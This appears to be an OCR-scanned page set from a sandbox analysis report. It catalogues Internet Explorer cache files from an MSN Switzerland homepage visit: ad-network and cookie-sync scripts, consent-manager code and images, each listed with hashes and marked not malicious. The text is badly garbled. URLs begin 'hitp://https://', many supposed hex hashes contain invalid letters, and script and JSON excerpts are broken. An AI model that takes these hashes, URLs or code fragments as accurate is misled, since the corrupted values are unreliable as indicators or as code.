7AEA772CD72970BB1C6EBCED8F2B3431

CB677B46C48684596953100348C24FFEF8DC4416
FA59A5A8327DB116241771AFCD106B8B301B10DBBCB8F636003B121D7500DF32

E245EF217FA451774B6071562C202CA2D4ACF7FC176C83A76CCA0A5860416C5AA31B1093528BF55E87DEGB5C03C5C2C9518AB6BF5AA171ECG58EC74818E8AB!
E

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBY 7ARN.img?h=16&w=16&m=6&q=60&u=t&o=t&I=f&f=png

x.2.m;.}1."..V...0.W7.\.5P...p..
w.,6.R%N=a....B:.Z.UB...>r..}..
gd.2. 0 s0F 4. Cu Z....

O:/...[1.).fh*W.....P...H.7..Qv...rat....+.(..s.n.w...S...S...G.%v.Q.aX.h.4....0.~.nL.IZ.6.=..@..2 f.H...[..])..['w..r.....IEND.B".

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\IMEEXW4H4\checksync[1].htm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

HTML document, ASCI!I text, with very long lines

dropped

20808

5.301682288370038

false

384:RWAGcVXlblcgnzleZSug2f5vzBgF30Z0eQWwY4RXrgt: S86ghbz2RmF30seQWwY4RXrqt
E22197088253B42F8521B197D81970A6
BOFOB44DFE24C297CE69DD6CFCDB487C44927FE9
E05058CA073FC2170E07DFBD4FC127D052D3C983CB1E703E497AFFBC51E4F1DB

BAC02445A7FCA07731177FAOFE8SE5S254C12CD39B8BD108698A5E126245D23F7A69B8D16FD2A493D1764DDBC42634E0972917D8E8SCACF237C4FAODDE7AFABAA
E

false

<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":75,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"|","sepTime"
'g","cookie":"data-g","isBI":1,"g":1,"cocs":0},"vzn":{"name":"vzn","cookie":"data-
"g":0,"cocs":0},"Ir":{"name" ‘cookie":"data-Ir","isBI":1,"g":1,"cocs":0}},"hasSameSiteSupport":"
csm”,"ppt","rbcn”,"son","bdt","con”,"opx","tIx","mma","c1x","ys","sov" r1","g","pb","dxu","rkt","trx","wds","crt","ayl","bs","ui","shr","lvr","y
Id","msn","zem","dmx","pm","som","adb","tdd","soc","adp","vm","spx","nat","ob","adt","got","mf","emx","sy","Ir","ttd"],"bSize":2,"time":30000, "ngGroups":[]},"log":{"succe

ssLper":10,"failLper":10,"logUrl":{"cl":"https:\/Vhblg.media.netVlog?logid=kfk&evtid=chlog"}},"csloggerUrl":"https:\\Vcslogger.

o nsepCss~~* "ysDaTime":31536000,"cc":"CH" "zone":"d"},"cs""1" lookup":{'g":{"name":
“cocs":0},"brx":{"name":"brx","cookie":"data-br","isBI":1

v',"isBI"1,"g":
0","batch™:{"gGroups":["apx
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\IMEEXW4H4\checksync[2].htm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

HTML document, ASCI!I text, with very long lines

dropped

20808

5.301682288370038

false

384:RWAGcVXlblcgnzleZSug2f5vzBgF30Z0eQWwY4RXrqt: S86ghbz2RmF30seQWwY4RXrqt
E22197088253B42F8521B197D81970A6
BOFOB44DFE24C297CE69DD6CFCDB487C44927FE9
E05058CA073FC2170E07DFBD4FC127D052D3C983CB1E703E497AFFBC51E4F1DB

BAC02445A7FCA07731177FAOFE8SE5S254C12CD39B8BD108698A5E126245D23F7A69B8D16FD2A493D1764DDBC42634E0972917D8E8SCACF237C4FAODDE7AFABAA
E

false

,"sepVal

<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":75,"visitor":{"vsCk":"visitor-id","vsDaCk":"data
" "sepCs":"~~","vsDaTime":31536000,"cc":"CH","zone":"d"},"cs":"1","lookup™":{"g":{"name":"g","cookie":"data-g","isBI":1,"g":1,"cocs":0},"vzn":{"name":"vzn","cookie":"data-
V", "isBI":1,"g"0,"cocs":0},"brx":{"name":"brx","cookie":"data-br","isBI":1,"g cocs™:0},"Ir":{"name":"Ir","cookie":"data-Ir","isBI":1,"g":1,"cocs":0}},"hasSameSiteSupport":"
0","batch™{"gGroups":["apx","csm","ppt","rbcn","son","bdt","con","opx","tIx","mma","c1x","ys","sov","fb","r1","g","pb","dxu","rkt","trx","wds","crt","ayl","bs","ui","shr","lvr","y
Id","msn","zem","dmx","pm","som","adb","tdd","soc","adp","vm","spx","nat","ob","adt","got","mf","emx","sy","Ir","ttd"],"bSize":2,"time":30000, "ngGroups":[]},"log":{"succe

ssLper":10,"failLper":10,"logUrl":{"cl":"https:\/Vhblg.media.netVlog?logid=kfk&evtid=chlog"}},"csloggerUrl":"https:\\V/cslogger.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\de-ch[1].htm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

HTML document, UTF-8 Unicode text, with very long lines, with CRLF, LF line terminators

dropped

424391

5.434709965743358

false

3072:PJOJUY xx+jstaFbWtNaX/ztFORkAZbhnQD9Hfa7/kZI2chLgNkeZbVJeHoglLMOF:PJO70jlzogfOyQKgOCyliXpP
50AE0B69A10307406078C12A3568C754

CD1C5F41DFF24026452D49C7278626F6C757D6FE
8C949367E92DF54D1173DD4E2325023E09327E54EA8A048487BA0A7B53086C9B

6A75739202C6A4F273EE3871265C584FC600DEBBSEA3AEE416D47D4D89B1532D44397C2C477DEEF601EF3357FBES847BA820DEDF6BC16BBEFFE3DB20543B8C
55

false

<IDOCTYPE html><html prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb#" lang="de-CH" class="hiperf" dir="ltr" >.. <head data-info="v:20210228_319055
37;a:d9cle375-a860-4140-9ce5-a8a60fc8135a;cn:13;az:{did:951b20c4cd6d42d29795c846b4755d88, rid: 13, sn: neurope-prod-hp, dt: 2021-02-24T00:52:46.3288802Z, bt:
2021-03-01T03:05:50.2347217Z};ddpi:1;dpio:;dpi:1;dg:tmx.pc.ms.ie10plus;th:start;PageName:startPage;m:de-ch;cb:;l:de-ch;mu:de-ch;ud:{cid:,vk:homepage,n:,l:de-ch,ck
}1:xd:BBggbhZW;ovc:f;al:;fxd:fxdpub:2021-01-12 22:59:27Z;xdmap:2021-03-10 04:52:13Z;axd:;f:msnallexpusers,muidflt21cf,muidflt52cf, muidflt58cf,muidflt260cf,bingc
ollabedge2cf,pnehp2cf,starthp3cf,moneyhp2cf,starthz1cf,onetrustpoplive,1s-bing-news,vebudumu04302020,bbh20200521msn,shophp2cf,sagehzlcf;userOptOut:fal
se;userOptOutOptions:" data-js="{&quot;dpi&quot;:1.0,&quot;ddpi&quot;:1.0,&quot;dpio&quot;:null,&quot;forcedpi&quot;:null,&quot;dms&quot;:6000,&quot; ps&quot;:1
000,&quot;bds&quot;:7,&quot;dg&quot;:&quot;tmx.pc.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\fcmain[1].js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

HTML document, ASCI!I text, with very long lines, with no line terminators

downloaded

38471

5.06070492058115

false
768:E1avn4u3hPP9W94h86PvimMYXfOwOBEZn3SQN3GFI29504gINHBzglisSEUT:UQn4uRNWMh86PV]j1YXfOWOBEZNn3SQN3R
E23752BEAE407112D8BE8420DD9A65BA

CAC7BE1994543C1285E98C7B5B6C1BODBADOF5FF
6BFB71FB1C9A082E86BDBFBCAA89215D9131D151CE39E7ACCFD58D0OF37585A4F
682965D99B17902234F49A742896A96502C2693608319202DEAF6BCABD3A99033F624E4B6C226B4FA21BA81FE7B8F75AC36E3E3D34D8FC8354C3434B8AAC22B8
false

hitp://https://contextual. media.net/803288796/fcmain.js?
&gdpr=0&cid=8CU157172&cpcd=pC3IHgSCqY8UHihgrvGroA%3D%3D&crid=722878611&size=306x271&cc=CH&https=1&vif=2&requrl=https%3A%2F%2Fwww.msn.co
m%2Fde-ch%2F%3Focid%3Diehp&nse=5&vi=1615351982939985905&ugd=4&rtbs=1&nb=1&ch=window._mNDetails.initAd

;window._mNDetails.initAd({"vi":"1615351982939985905","s":{"_mNL2":{"size":"306x271","viComp":"1615350499223268256","hide AdUnitABP":true,"abpl
: custHt™:"","setL3100":"1"},"lhp":{"I2wsip":"2886781337","[2ac™:"","sethcsd":"set!C3|1599"},"_mNe":{"pid":"8PO641UYD","requrl":"https://www.msn.com/de-ch/?
ocid=iehp#mnetcrid=722878611#"},"_md":[],"ac":{"content":"<!DOCTYPE HTML PUBLIC \"-\WW3CWDTD HTML 4.01 TransitionalVWVEN\" \"http:\VWwww.w3.org\/TRVhtm
14Vloose.dtd\">\r\n<html xmIns=\"http:V\/www.w3.0rg\/1999VxhtmI\">\r\n<head><meta http-equiv=\"x-dns-prefetch-control\" content=\"on\"><style type=\"text\/css\">body{b
ackground-color: transparent;}<\/style><meta name=\"tids\" content=\"a='800072941' b="803767816' c="msn.com' d="entity type'\" \/><script type=\"text\/javascript\">try{wi
ndow.locHash = (parent._mNDetails && parent._mNDetails.getLocHash && parent._mNDetails.getLocHash(\"722878611\",\"1615351982939985905\")) || (parent._
mNDetails|\"locHash\"] && pare
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lE\IMEEXW4H4\http___cdn.taboola.com_libtrc_static_thumbnails_3c2ae0ebbdfd7f
0e172b18acdb906d2f[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 207x311, frames 3
downloaded

14201

7.967106814173995

false

384:/8isZuP42Q4NrigpDtIAL75d4/xH6+1YYaLXko+iJSs:/8iqud9nYn4ZjaQJ

61A68FCI9B8F5428EEBDF7815AEE2583B

641382CDA1CC4C69A06EDEEE29363C34003365C5
CAB6DAE2087089A5C645E639695D5F05874DADC3801079686FC61351D50E068D

65CO0BC7CBCDD272EEO0B5325E54139A957F43E59AEA3DDCB2CD63F6CE32EA4B90F58C2C00022DFA82705146359CE2AE1241AB6FFAB150FB142E93413AF2EDA
EB

false

hitp://https://img.img-
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ce_sharpen%2Ch_311%2Cw_207%2Cc_fill%2Cg_xy_center%2Cx_464%2Cy_284/http%3A%2F%2Fcdn.taboola.co
m%2Flibtrc%2Fstatic%2Fthumbnails%2F3c2ae0ebbdfd7f0e172b18acdb906d2f.png

...... JFIF e B B.6%&&X6>4245LDDL_Z_ e 50 $.6%& &6 >424>LDDL_Z [ 7 B
U.oooeees . X 7,<.C.%. 0. F LKWV ]m[.p. A)r ] V.......zKgU.I~ L ] 48 (WD ZX M-8, 7% L {JC.=. . U..M-C|SV.4. RN...Y6.. X TL.ML2...=.
JGiUN._0 3090 e Au 2. +.{9.3}[.8..-...q. Tm.q...K.{..9.).MA...d.&-.D...Upl.3......0zR.$_="OFZ..|M_...z.M....;..... P.Q..{m...Gu..c.1.l..-?t..6.$..V..D.R

|..OU.E.e.#... }A.X&Ld.......n). In.R.Km*....L.*Hy {.n...[.%..Y.._,.7."...C.QJ.....R.._9....~f .. Iry.NM.5."..Y9.)g...V.U..f..ZM.....dI...q.. j....... 1.i.6....V...ape..F.
[#.uy[-H..wo<...y-.. .z..Z.

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\IMEEXW4H4\http___cdn.taboola.com_libtrc_static_thumbnails_8416c96724617787f3fd2452
e08c1231[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 207x311, frames 3
downloaded

20846

7.902792039104834

false

384:BYNg7Wsvl4fRuuxjkMJgF+Cg/gTcuj3fC6zvxrQHfmiU3oslob:BYyas6fRuuzJqF+CqycubLp8/miXzb
A2C8B1A42C79AA2EE37022B40ACEA845

5C9C37FA12COC91F8F2EA88CF5C0D451A3548588
8194CECBD803B079847CCACAA71BC5810B217D56971361A34C522414DC2B2842
8EE0450F6E1BA19394B4B4998DA3B90910E4634DIBEA41002770EASCC3C73D8359A864488FBC7AF9782A5950669F88BD40ACF5903B93FDAD705D3D602F91DEA

false

hitp://https://img.img-
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic
9%2Fthumbnails%2F8416c96724617787f3fd2452e08c1231.jpg

colour space - sRGB............|EC 61966-2.1 Default RGB colour space - SRGB..
iewing Condition in IEC61966-2.1........

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\otSDKStub[1].js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines, with CRLF line terminators

downloaded

13479

5.3011996311072425

false

192:TQp/Oc/tBPEocTcgMg97k0gA3wziBpHfkmZgWoa:8R9aTcgMNADXHfkmvoa
BC43FF0C0937C3918A99FD389A0CT7F14
7F114B631F41AE5F62D4C9FBD3F9B8F3B408B982
E508B6A9CASBBAED7AC1D37C50D796674865F2E2A6ADAFAD1746F19FFES2149E
C3A1F719F7809684216AB82BFOF97DD26ADE92F851CD81444F7F6708BB241D772DBE984B7DI9EDI2F12FE197A486613D5B3D8E219228825EDEEA46AA8181010B¢
false

hitp://https://www.msn.com/_h/e012d846/webcore/externalscripts/oneTrustV2/scripttemplates/otSDKStub.js

var OneTrustStub=function(t){"use strict";var I=new function(){this.optanonCookieName="OptanonConsent",this.optanonHtm|GroupData=[],this.optanonHostData=[],this
.genVendorsData=[],this.|ABCookieValue="" this.oneTrustlABCookieName="eupubconsent" this.oneTrustIslABCrossConsentEnableParam="is|IABGlobal" this.isStu
bReady=!0,this.geolocationCookiesParam="geolocation",this. EUCOUNTRIES=["BE","BG","CZ","DK","DE","EE","IE","GR","ES","FR","IT","CY","LV","LT","LU","HU"
S'MT"NL"AT""PL""PT","RO","SI","SK","FI","SE","GB","HR","LI","NO","IS"],this.stubFileName="0tSDKStub",this. DATAFILEATTRIBUTE="data-domain-script",this.bann
erScriptName="otBannerSdk.js",this.mobileOnlineURL=[],this.isMigratedURL=!1,this.migrated CCTID="[[OIdCCTID]]",this.migratedDomainld="[[NewDomainld]]" this.userL
ocation={country:"",state:""}},e=(i.prototype.initConsentSDK=function(){this.initCustomEventPolyfill(),this.ensureHtm|GroupDatalnitialised(),this.updateGtmMacros(),this.f
etchBannerSDKDependency()},i.prototype.fetchBanner
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\PSUEOSZZ\39ab3103-8560-4a55-bfc4-401f897cf6f2[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x300, frames 3
downloaded

64434

7.97602698071344

false

1536:uvrPk/geS+g/vzqMMWi/shpcnsdHRpkZRF+wL7NK2cc8d55:uvrsSh7XzB0shpOWpkThLRyc8J
F7E694704782A95060AC87471FOACTEA

F3925E2B2246A931CB81A96EE94331126DEDB9I09
DEEBF748D8EBEB50F9DFF0503606483CBD028D255A888E0006F219450AABCAAE
02FEFF294B6AECDDA9CC9E2289710898675ED8D53B15E6FFOBB090F78BD784381E4F626A6605A8590665E71BFEED7AC703800BA018E6FEOD49946A7A3F431D7

false

hitp://https://cvision.media.net/new/300x300/3/167/174/27/39ab3103-8560-4a55-bfc4-401f897cf6f2.jpg?v=9

F. NemASLI{&. L. . Uw.Wm...i..VK.KWQH.9.
@xT.%.D.?...}Nm.;&.....y.qt8..x.2.uTT.=TT..k........ 2.jJ..BS..@"a....6..S/0.1,.J.r...,<3~... A..V.G."™* LpA#YbKn'n.w.{o..._....1.L.).(14.....z[}Z..

....MTU..Ej....6.)Se.<.*...U.@...K.g\D.../..S....~.3 ....hN.."..n..v.?E",.R<-.Y)..M.”a.0.R.D...;y0.~.x;u..H.....-.%.....].*%

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\55a804ab-e5c6-4b97-9319-86263d365d28[1].json

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines, with no line terminators

downloaded

2889

4.775421414976267

false

48:Y9vigmDHF6Bjb40UMRBIvdiZv5Gh8aZa6AyY AcHHPk5JKIcF2rZjSInZjfumjVZf:OymDwb40zrvdip5GHZa6AymsJjbjVjFB
1B9097304D51E69C8FF1CE714544A33B

3D514A68D6949659FA28975B9A65C5F7DA2137C3
9B691ECE6BABESB1C3DEO1AEB838A428091089F93D38BDD80E224B8C06B88438

C4EE34BBF3BF66382C84729E1B491BF9990C59F6FF29B958BD9F47C25C91F12B3D1977483CD42B9BD2A31F588E251812E56CBCD3AEE166DDF5AD99A27B4DFO0
C

false

hitp://https://www.msn.com/_h/e012d846/webcore/externalscripts/oneTrustV2/consent/55a804ab-e5c6-4b97-9319-86263d365d28/55a804ab-e5c6-4b97-9319-
86263d365d28.json

{"CookieSPAEnabled":false,"MultiVariantTestingEnabled":false,"UseV2":true,"Mobile SDK":false,"SkipGeolocation":false,"ScriptType":"LOCAL","Version":"6.4.0","Opta
nonDataJSON":"55a804ab-e5c6-4h97-9319-86263d365d28","GeolocationUrl":"https://geolocation.onetrust.com/cookieconsentpub/vl/geo/location”,"RuleSet":[{"Id":"6f0Occ
a92-2dda-4588-a757-0e009f333603","Name":"Global","Countries":["pr","ps","pw","py","qa","ad", "ae","af","as i","al","am","a0","aq","ar","as","au","aw","az","ba","bb","rs
" "bd","ru","bf","rw","bh","bi","bj","bI","bm","bn","bo","sa","bq", "sh","sc","br","bs","sd","bt","sg","bv","sh","bw", "by","sj","bz","sI","sn", "s0","ca","sr","ss", "cc","st","cd","sv","cf","cg
""sx","ch","sy","¢ci","sz","ck","cl","em","cn","co", "tc", "cr", "td","cu", "tf","tg", "cv", "th","cw", "¢ "tk o, e, e, v w2, "dm*, "do”, "ua”, 'ug !, "z, um
'wf*,"ga","ws","gd","ge"," gh

" rUS” "ec”,"eg”, "eh” MUy” "UZ" VA, er, Ve et Ve, Vg Vi, v u i ke M o 9g"

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\85-0f8009-68ddb2ab[1].js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

UTF-8 Unicode text, with very long lines, with no line terminators

dropped

392556

5.324426038103027

false
6144:RrP9z/WSg/gDTEsoCxgkhmnid1WP(qljHSjaD1dWgxO0Dvq4FcG6Ix2K:VI/Wznid1WPqljHdjltHcGB3
3DCF7A597984649930BB6DCDAGOE0855

ECBC9D7FCC87684131A910A10473E9CBOFACFAFA
9784BB69C5029965123FA885D97F6E20FD1EBF2930DBF7639296898076F60AD2
5A276063078CE99C14D9E4C246422E7C32F3B5C50317675FD77373B918737658BFE4B45B25E48FDA08B54F06BBI800E6853844AC558092D63940F690155E9738

false

var awa,behaviorKey,Perf,globalLeft, Gemini, Telemetry,utils,data, MSANTracker,deferredCanary,g_ashsC,g_hsSetup,canary;window._perfMarker&&window._perfMa
rker("TimeToJsBundleExecutionStart");define("jgBehavior",["jquery","viewport"],function(n){return function(t,i,r){function u(n){var t=n.length;return t>1?function(){for(var
i=0;i<t;i++)n[i]()}:t?n[0]:ffunction f(){}if(typeof t'="function")throw"Behavior constructor must be a function";if(i&&typeof i'="object")throw"Defaults must be an object or nu
II;if(r&&typeof r'="object")throw"Exclude must be an object or null*;return r=r||{},function(f,e,0){function c(n){n&&(typeof n.setup=="function"&&l.push(n.setup),typeof
n.teardown=="function"&&a.push(n.teardown),typeof n.update=="function"&&v.push(n.update))}var h;if(o&&typeof o!="object")throw"Options must be an object or null";var

s=n.extend(!0,{},i,0),I=[],a=[],v=[],y=!0;if(r.query){if(typeof f!="string")throw"Selector must be a string";c(t(f,s))}else h=n(f,e),r.each?c(t(h,s)):(y=h.length>0,

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\BB14hqO0P[1].jpg

Process:
File Type:
Category:
Size (bytes):

C:\Program Files (x86)\Internet Explorer\iexplore.exe
JPEG image data, JFIF standard 1.01, resolution (DPI), density 192x192, segment length 16, baseline, precision 8, 622x368, frames 3
downloaded

14112
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\BB14hqOP[1].jpg

Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:
|IE Cache URL:

Preview:

7.839364256084609

false

384:7EIqipbU3NAAIBQVoqHDZEfE7Td4Th67Bx/J5e8HOVIHB: 7EIqZT5DMQT+TEfS90VT
AB54465EC3B994F316791CAFDE3F7E9C
694A7D7E3200C3B1521F5469A3D20049EE5B6765
2A10D6E97830278A13CD51CA51EC01880CEBC44C4A69A027768218934690B102

9D12A0F8D9844F7933AA2099E8C3D470AD5609E6542EC1825C7EEB64442E0CD47CDEE15810B23A9016C4CEB51B40594C5D54E47A092052CC5E3B3D7C52E9D6
7

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB14hgqOP.img?h=368&w=622&m=6&0=60&u=t&o=t&I=f&f=jpg

.C.... ... )10.)-,3:3>36F7,-@WAFLNRSR2>ZaZP JQRO...C....... &..&05-500000000000000000000000000000000
00000000O0...... PN e § — 11A..Qa."q.2...#B..R..$3br........ %&()*456789:CDEFGHIJSTUVWXY Zcdefghijstuvwxyz
.......... Ww.......11..AQ.aq."2...B....#3R..br...$4.%.....&'()*56 789: CDEFGHIJSTUVWXY Zcdefghijs
tuvwxyz. 2. (2 (e (eeeen (edith. . @...+...9..V.\"L@....|....n...@My..Ww9;.5].@....L.k..w2."...

M8)4..>.u9..5U.w9,M( QNwp*3&MJIrf..J..|p...n .j.qW#.5W.)& & .EN. %" T. ..y .U.4.IK.sK.00j.....Z..3]...")..c..~... .RqL...lcym..R..

gTa..a9.+...5-W'.T@.N.8"

LJ6er.

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\PSUEOSZZ\BB15AQNmM[1].jpg

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3
downloaded

23021

7.935018395523189

false

384:7Wd08YzHrqgUFpGIw2yDIndv1lySGXgngyUyS/PSwZsFaoJw+LcRIUCRXupqGk:7Wq83FbyDIndv1lySc/dZ/0JRc201E
DCCBA1661D64596AECAD2BC1BC784375

60F49EC12D2C96593DEF064DF49074A49CAF6F3D
149B0279F42DE0B982426087A89408C634026856BAEOF663D3ACEA6D15FC5EFO
645BA30DF7E9AOAF8D78E5E012E26729651162827A23A81E020818F99692DAA71A0C9226261281A136DEF30E73B0838AECFI6D29DE6GA076B8886972DB0OB2730E

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB15AQNmM.img?h=368&w=622&m=6&0q=60&u=t&o=t&I=f&f=jpg&x=868&y=379

&'()*56789:CDEFGHIJSTUVWXY Zcdefghijs
20 (G RamL4lig. 1. 4.L4..).wS. L. W.pj.ed...z..Z../Y|..zZUK5.U.......l."..4.1.D..d.[...i..}...n..D..1.O,j..d=.).Ul&..
.Vm.bk...0J.I'p.J...Q.f.d...4). 4| .EX....Y ... CsM.2.}.-D......4.].5b+...u..s..PP.2...0.0....=.#a"sSi X........ 1.....AR;.].hf/8... A....g.+..". +....ZM..h...EAyp..}k..Z..p).P.u..5.Z
SNS,sddlRLLUXLLG

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\BB17milU[1].png

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

downloaded

627

7.4822519699232695

false
12:6v/78/W/6TilP7X0TFI8ugNNIpESGCLDOkK32Se5R2bBCEYPk79kje77N:U/6xPTOTtINNDGCLDOMVe5JEAKV3N
DDE867EA1DI9D8587449D8FA9CBAGCB71

1A8B95E13686068DD73FDCDD8DIB48C640A310C4
3D5AD319A63BCC4CD963BDDCFOE6A629A40CC45A9FB14DEFBB3F85A17FCC20B2
83E4858E9B90B4214CDA0478C7A413123402AD53C1539F101A094B24C529FBIBFF279EEFC170DA2F1EE687FEF1IBC97714A26F30719F271F12B8A5FA401732847
false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17milU.img?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png

PNG........ IHDR...coovrviie a...sRGB......... gAMA.....a....pHYS ..o IDAT80.S.KTQ...yj..tTZ.VAr.B*AIYAFY..V."*(Jh.E -,.j.....2.2.{..8....{s....A. HS...x>......Rp.
<B.&..b.TT...@..x....8.t..c.q.q.].d.'v.G...8.c.[.ex.vg....x}.. ATG..R H..T..Q.~cccorrnd 0....H~,.2y...)...G..0tk..{.."f~h.G. #?2.....}]4/..54...]6A. lik..x-T;u.Bh._+j....{.e.,......
Aol Qewl LA s chal gl YL 9 1..c..7l...]._.0.H.Woh."dW..).D.&01.XZ"I......y.5..>..j..7..2..3....M|..W...2....q.8.3.......~}89........ (CT IEND.B".

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\BB1epPru[1].jpg

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 311x333, frames 3
downloaded

12916

7.9505249835144225

false

192:BY9S5R58EVLPrFZ44Y16+Ne3nn/E+3rQrBgaUS6SHTFM8IEMfPPRuTX:e875jTPrnFYbP1klgaYSHAS8ixwN
AFE3FD69EE35E402FFA2D2B55F634AF6

7C0285BDC7478CC72A4A0E706EECEO633EF6CIAE
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\BB1epPru[1].jpg

SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Preview:

B81DDD5AC1717936FE9095505F1F1D3A78A598FES8AC1CC2BC8F5AF019D5570B
A31A4942035003D9E40664528D05943993922AA838E93E05FC150CB1668F221E560AAAE690F65ECD596DDA67F650A2D20778019F539BC42B8F2CE6678708CC66
false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1epPru.img?h=333&w=311&m=6&0=60&u=t&o=t&I=f&f=jpg&x=511&y=124

...... JFIF.... . .Criie 2 )100)-,3:0>36F7,-@WAFLNRSR2>ZaZP  JQRO....C.......&..&05-500000000000000000000000000000000
0O0000000000OOO000O 11A..Qa."q.2...#B..R..$3br........ %8&'()*456789:CDEFGHIJSTUVWXYZcdefgh
TISTUVIWKYZ. v en s W......11..AQ.aq."2...B.... #3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXY
Zcdefghijstuvwxyz. L2u?ebsled ~Q B le Zw. kLS 4. (U.l....... y)U*.&.....qT..LL
m.l.R...2.E-.1pz.%f.6..R[.FA..{T....4..h_}.=. ".f3...zL.>.d..M"p. {V..s. K.7s]+.llg.3..r.#..2.5%k..."...G.Xez.=I7....HN...ub...,
VTN W8Ny, ) . #.eG.5..@..jS.dK..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\BB1epRYT[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

